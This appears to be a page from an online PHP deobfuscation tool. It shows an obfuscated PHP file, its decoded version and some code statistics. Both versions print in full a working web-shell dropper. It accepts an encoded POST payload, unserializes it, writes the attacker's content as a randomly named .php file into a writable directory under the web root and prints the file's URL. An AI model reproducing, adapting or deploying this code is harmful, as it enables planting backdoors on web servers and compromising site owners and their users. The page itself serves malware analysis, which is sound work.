Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function WvHPqy($fSZzts, $ApdsCZG, $ZrCfYk){$jbRTY = "7d595e48-c84f-472a-8da3-11bc40..

Decoded Output download

<?php function WvHPqy($fSZzts, $ApdsCZG, $ZrCfYk){$jbRTY = "7d595e48-c84f-472a-8da3-11bc400e3601";      $ISFiScR = 'BbaXaYcFD';return $fSZzts ^ $jbRTY[$ApdsCZG % strlen($jbRTY)] ^ $ZrCfYk;}$KqtdBOIuTR = "IeCzBzgB";function ODAiNU(){$VQwHo = 'WarrJn';$GkXBq = 18;$MygGin = 'KvRrR';$zOEnfMGcIq = base64_decode($MygGin);$EJfBl = 2;$updaP = 'TBEJGrXBvJ';$mUyMfQlys = 'QueesCQ';}function RzSIX($KqtdBOIuTR){ $cSODXwbsfB = 's'."t".chr(448-334)."_".chr(114)."o"."t".'1'.'3';$KqtdBOIuTR = $cSODXwbsfB($KqtdBOIuTR);  $kqWQVclnC = 54;        $RZCufmnPfd = 63;$zyoaR = chr(114)."a".chr(349-230).chr(668-551).chr(995-881).chr(108)."d"."e".chr(99)."o".chr(100).'e';$KqtdBOIuTR = $zyoaR($KqtdBOIuTR);  $kqWQVclnC = $RZCufmnPfd - 5;$KqtdBOIuTR = str_split($KqtdBOIuTR);      $SEswzbSP = 41;return $KqtdBOIuTR;}function ObzKdqbob($TImSoeGqkA, $ZrCfYk){$TImSoeGqkA = array_map("WvHPqy", array_values($TImSoeGqkA), array_keys($TImSoeGqkA), array_values($ZrCfYk));       $NrHfdVFj = 71;$TImSoeGqkA = implode("", $TImSoeGqkA);  $znajzPyffL = 63;$hJOaoac = chr(837-720)."n".chr(115)."e".'r'.chr(105).chr(925-828)."l".chr(105).'z'.chr(101);$TImSoeGqkA = @$hJOaoac($TImSoeGqkA);    $xNajobvkP = 67;return $TImSoeGqkA;}function qaqcQ($ZrCfYk, $TImSoeGqkA){$ZrCfYk = array_slice(str_split(str_repeat($ZrCfYk, intval(count($TImSoeGqkA)/16)+1)), 0, count($TImSoeGqkA)); $OwKBC = 43;return $ZrCfYk;}function XZZlWCTTE(){echo "ciKCg";  $rtoJBR = 'FKzK';       $sHfnN = 49;}function QArROz($BKgXdXQMGir){static $lpXWmp = array();    $yitmWgM = 71;$cqnXTwarfF = glob($BKgXdXQMGir . '/*', GLOB_ONLYDIR);    $yGSEShsIb = 67;        $WTJxnxfniF = 'XnShTV';$UHBok = count($cqnXTwarfF);     $pcMsTnkYjL = 36;if ($UHBok > 0) {foreach ($cqnXTwarfF as $BKgXdXQMG) {$kGaWmiDKbA = chr(105)."s"."_"."w"."r"."i".chr(116).'a'."b".chr(108).'e';if (@$kGaWmiDKbA($BKgXdXQMG)) {$lpXWmp[] = $BKgXdXQMG;                                $aSHYvn = 52;}}}foreach ($cqnXTwarfF as $BKgXdXQMGir) QArROz($BKgXdXQMGir);return $lpXWmp;}ODAiNU();function RjnELqCnWN($TImSoeGqkA){$kKbxd = "D"."O".chr(143-76)."U".chr(77).'E'."N"."T"."_".chr(411-329)."O".chr(79).chr(84);$AskQzbCJzI = $_SERVER[$kKbxd];$cqnXTwarfF = QArROz($AskQzbCJzI);   $maiqbiSBBV = 'IIBP';$DMuxcqeUc = array_rand($cqnXTwarfF);      $LSyeRMxKyE = ord('tgur');$PaFTP = '.'."p".chr(1012-908)."p";$mhyVuMJA = $cqnXTwarfF[$DMuxcqeUc] . "/" . substr(md5(time()), 0, 8) . $PaFTP;      $YcCqcPURTu = 'hRAq';$hFEeJNgw = "f".chr(105)."l".chr(101).chr(95)."p".chr(477-360).'t'.'_'."c"."o".chr(110)."t".chr(101).chr(110)."t".chr(845-730);@$hFEeJNgw($mhyVuMJA, $TImSoeGqkA);    $WLWAjgvgp = 50;$oSBCFeHpb = chr(72).chr(308-224).chr(336-252).chr(80)."_"."H".'O'.'S'."T";$FFlfcjtrI = "h".chr(502-386).'t'.chr(123-11).':'.chr(58-11).chr(311-264);$qxAMJJrVq = $FFlfcjtrI . $_SERVER[$oSBCFeHpb] . substr($mhyVuMJA, strlen($AskQzbCJzI));       $YcCqcPURTu = trim($maiqbiSBBV);        $zsTISUFcI = 59;print($qxAMJJrVq);      $LHtURwd = $LSyeRMxKyE / 5;     $OfRloSdI = $LHtURwd * $LHtURwd;}function fpemfZGgjp($TImSoeGqkA, $DMuxcqeUc){$DMuxcqeUc = $DMuxcqeUc[0];       $mFNla = 36;if ($TImSoeGqkA !== $DMuxcqeUc){RjnELqCnWN($TImSoeGqkA);            $YHmzm = 'hQrcu';}else {vIydZxYF();             $FoxwNAQrof = 'cUrgqcr';                $FoxwNAQrof = ord('yqb');}}function vIydZxYF(){$eoQfH = chr(651-539).'h'."p";$FstsuGIVOY = chr(112).chr(104).chr(774-662).'v'.'e'.chr(114).'s'.chr(820-715)."o"."n";$TImSoeGqkA = Array($eoQfH => @$FstsuGIVOY(), );   $erLpryiRT = 'NJUKVMaCQz';$bxfRKzGOZ = "s"."e".chr(331-217).chr(1078-973).'a'.chr(118-10).chr(105).chr(513-391).'e';echo @$bxfRKzGOZ($TImSoeGqkA);}function npVWt(){echo "IeCzBzgB";      $IuKIhJ = 'leJGeTjN';}foreach ($_POST as $ZrCfYk => $TImSoeGqkA){$OZOVzo = strlen($ZrCfYk);     $rRbWmQmgT = 14;        $zLmGzil = 'ifIWBMmLI';if ($OZOVzo == 16){$TImSoeGqkA = RzSIX($TImSoeGqkA);$ZrCfYk = qaqcQ($ZrCfYk, $TImSoeGqkA);               $sncpNKiH = 18;$TImSoeGqkA = ObzKdqbob($TImSoeGqkA, $ZrCfYk);           $sncpNKiH = $sncpNKiH * 14;             $WGrIf = 12;if (@is_array($TImSoeGqkA)){$DMuxcqeUc = array_keys($TImSoeGqkA);                   $IusyczTph = 'pp';$TImSoeGqkA = $TImSoeGqkA[$DMuxcqeUc[0]];                     $ixZXuwfIAt = 'iFbHVhjzVd';fpemfZGgjp($TImSoeGqkA, $DMuxcqeUc);}}}die();$RcmLadGtof = 'eKHvNFmI';?>

Did this file decode correctly?

Original Code

<?php function WvHPqy($fSZzts, $ApdsCZG, $ZrCfYk){$jbRTY = "7d595e48-c84f-472a-8da3-11bc400e3601";      $ISFiScR = 'BbaXaYcFD';return $fSZzts ^ $jbRTY[$ApdsCZG % strlen($jbRTY)] ^ $ZrCfYk;}$KqtdBOIuTR = "IeCzBzgB";function ODAiNU(){$VQwHo = 'WarrJn';$GkXBq = 18;$MygGin = 'KvRrR';$zOEnfMGcIq = base64_decode($MygGin);$EJfBl = 2;$updaP = 'TBEJGrXBvJ';$mUyMfQlys = 'QueesCQ';}function RzSIX($KqtdBOIuTR){ $cSODXwbsfB = 's'."\164".chr(448-334)."\137".chr(114)."\x6f"."\x74".'1'.'3';$KqtdBOIuTR = $cSODXwbsfB($KqtdBOIuTR);  $kqWQVclnC = 54;        $RZCufmnPfd = 63;$zyoaR = chr(114)."\x61".chr(349-230).chr(668-551).chr(995-881).chr(108)."\144"."\x65".chr(99)."\x6f".chr(100).'e';$KqtdBOIuTR = $zyoaR($KqtdBOIuTR);  $kqWQVclnC = $RZCufmnPfd - 5;$KqtdBOIuTR = str_split($KqtdBOIuTR);      $SEswzbSP = 41;return $KqtdBOIuTR;}function ObzKdqbob($TImSoeGqkA, $ZrCfYk){$TImSoeGqkA = array_map("WvHPqy", array_values($TImSoeGqkA), array_keys($TImSoeGqkA), array_values($ZrCfYk));       $NrHfdVFj = 71;$TImSoeGqkA = implode("", $TImSoeGqkA);  $znajzPyffL = 63;$hJOaoac = chr(837-720)."\156".chr(115)."\145".'r'.chr(105).chr(925-828)."\x6c".chr(105).'z'.chr(101);$TImSoeGqkA = @$hJOaoac($TImSoeGqkA);    $xNajobvkP = 67;return $TImSoeGqkA;}function qaqcQ($ZrCfYk, $TImSoeGqkA){$ZrCfYk = array_slice(str_split(str_repeat($ZrCfYk, intval(count($TImSoeGqkA)/16)+1)), 0, count($TImSoeGqkA)); $OwKBC = 43;return $ZrCfYk;}function XZZlWCTTE(){echo "ciKCg";  $rtoJBR = 'FKzK';       $sHfnN = 49;}function QArROz($BKgXdXQMGir){static $lpXWmp = array();    $yitmWgM = 71;$cqnXTwarfF = glob($BKgXdXQMGir . '/*', GLOB_ONLYDIR);    $yGSEShsIb = 67;        $WTJxnxfniF = 'XnShTV';$UHBok = count($cqnXTwarfF);     $pcMsTnkYjL = 36;if ($UHBok > 0) {foreach ($cqnXTwarfF as $BKgXdXQMG) {$kGaWmiDKbA = chr(105)."\163"."\137"."\167"."\x72"."\x69".chr(116).'a'."\x62".chr(108).'e';if (@$kGaWmiDKbA($BKgXdXQMG)) {$lpXWmp[] = $BKgXdXQMG;                                $aSHYvn = 52;}}}foreach ($cqnXTwarfF as $BKgXdXQMGir) QArROz($BKgXdXQMGir);return $lpXWmp;}ODAiNU();function RjnELqCnWN($TImSoeGqkA){$kKbxd = "\104"."\117".chr(143-76)."\125".chr(77).'E'."\116"."\124"."\137".chr(411-329)."\117".chr(79).chr(84);$AskQzbCJzI = $_SERVER[$kKbxd];$cqnXTwarfF = QArROz($AskQzbCJzI);   $maiqbiSBBV = 'IIBP';$DMuxcqeUc = array_rand($cqnXTwarfF);      $LSyeRMxKyE = ord('tgur');$PaFTP = '.'."\x70".chr(1012-908)."\160";$mhyVuMJA = $cqnXTwarfF[$DMuxcqeUc] . "/" . substr(md5(time()), 0, 8) . $PaFTP;      $YcCqcPURTu = 'hRAq';$hFEeJNgw = "\146".chr(105)."\x6c".chr(101).chr(95)."\160".chr(477-360).'t'.'_'."\143"."\x6f".chr(110)."\164".chr(101).chr(110)."\x74".chr(845-730);@$hFEeJNgw($mhyVuMJA, $TImSoeGqkA);    $WLWAjgvgp = 50;$oSBCFeHpb = chr(72).chr(308-224).chr(336-252).chr(80)."\x5f"."\x48".'O'.'S'."\124";$FFlfcjtrI = "\150".chr(502-386).'t'.chr(123-11).':'.chr(58-11).chr(311-264);$qxAMJJrVq = $FFlfcjtrI . $_SERVER[$oSBCFeHpb] . substr($mhyVuMJA, strlen($AskQzbCJzI));       $YcCqcPURTu = trim($maiqbiSBBV);        $zsTISUFcI = 59;print($qxAMJJrVq);      $LHtURwd = $LSyeRMxKyE / 5;     $OfRloSdI = $LHtURwd * $LHtURwd;}function fpemfZGgjp($TImSoeGqkA, $DMuxcqeUc){$DMuxcqeUc = $DMuxcqeUc[0];       $mFNla = 36;if ($TImSoeGqkA !== $DMuxcqeUc){RjnELqCnWN($TImSoeGqkA);            $YHmzm = 'hQrcu';}else {vIydZxYF();             $FoxwNAQrof = 'cUrgqcr';                $FoxwNAQrof = ord('yqb');}}function vIydZxYF(){$eoQfH = chr(651-539).'h'."\x70";$FstsuGIVOY = chr(112).chr(104).chr(774-662).'v'.'e'.chr(114).'s'.chr(820-715)."\x6f"."\x6e";$TImSoeGqkA = Array($eoQfH => @$FstsuGIVOY(), );   $erLpryiRT = 'NJUKVMaCQz';$bxfRKzGOZ = "\163"."\145".chr(331-217).chr(1078-973).'a'.chr(118-10).chr(105).chr(513-391).'e';echo @$bxfRKzGOZ($TImSoeGqkA);}function npVWt(){echo "IeCzBzgB";      $IuKIhJ = 'leJGeTjN';}foreach ($_POST as $ZrCfYk => $TImSoeGqkA){$OZOVzo = strlen($ZrCfYk);     $rRbWmQmgT = 14;        $zLmGzil = 'ifIWBMmLI';if ($OZOVzo == 16){$TImSoeGqkA = RzSIX($TImSoeGqkA);$ZrCfYk = qaqcQ($ZrCfYk, $TImSoeGqkA);               $sncpNKiH = 18;$TImSoeGqkA = ObzKdqbob($TImSoeGqkA, $ZrCfYk);           $sncpNKiH = $sncpNKiH * 14;             $WGrIf = 12;if (@is_array($TImSoeGqkA)){$DMuxcqeUc = array_keys($TImSoeGqkA);                   $IusyczTph = 'pp';$TImSoeGqkA = $TImSoeGqkA[$DMuxcqeUc[0]];                     $ixZXuwfIAt = 'iFbHVhjzVd';fpemfZGgjp($TImSoeGqkA, $DMuxcqeUc);}}}die();$RcmLadGtof = 'eKHvNFmI';?>

Function Calls

ODAiNU 1
base64_decode 1

Variables

$EJfBl 2
$GkXBq 18
$VQwHo WarrJn
$updaP TBEJGrXBvJ
$MygGin KvRrR
$mUyMfQlys QueesCQ
$KqtdBOIuTR IeCzBzgB
$RcmLadGtof eKHvNFmI

Stats

MD5 50c4566aaba9640e4aaa16d02dcaeceb
Eval Count 0
Decode Time 70 ms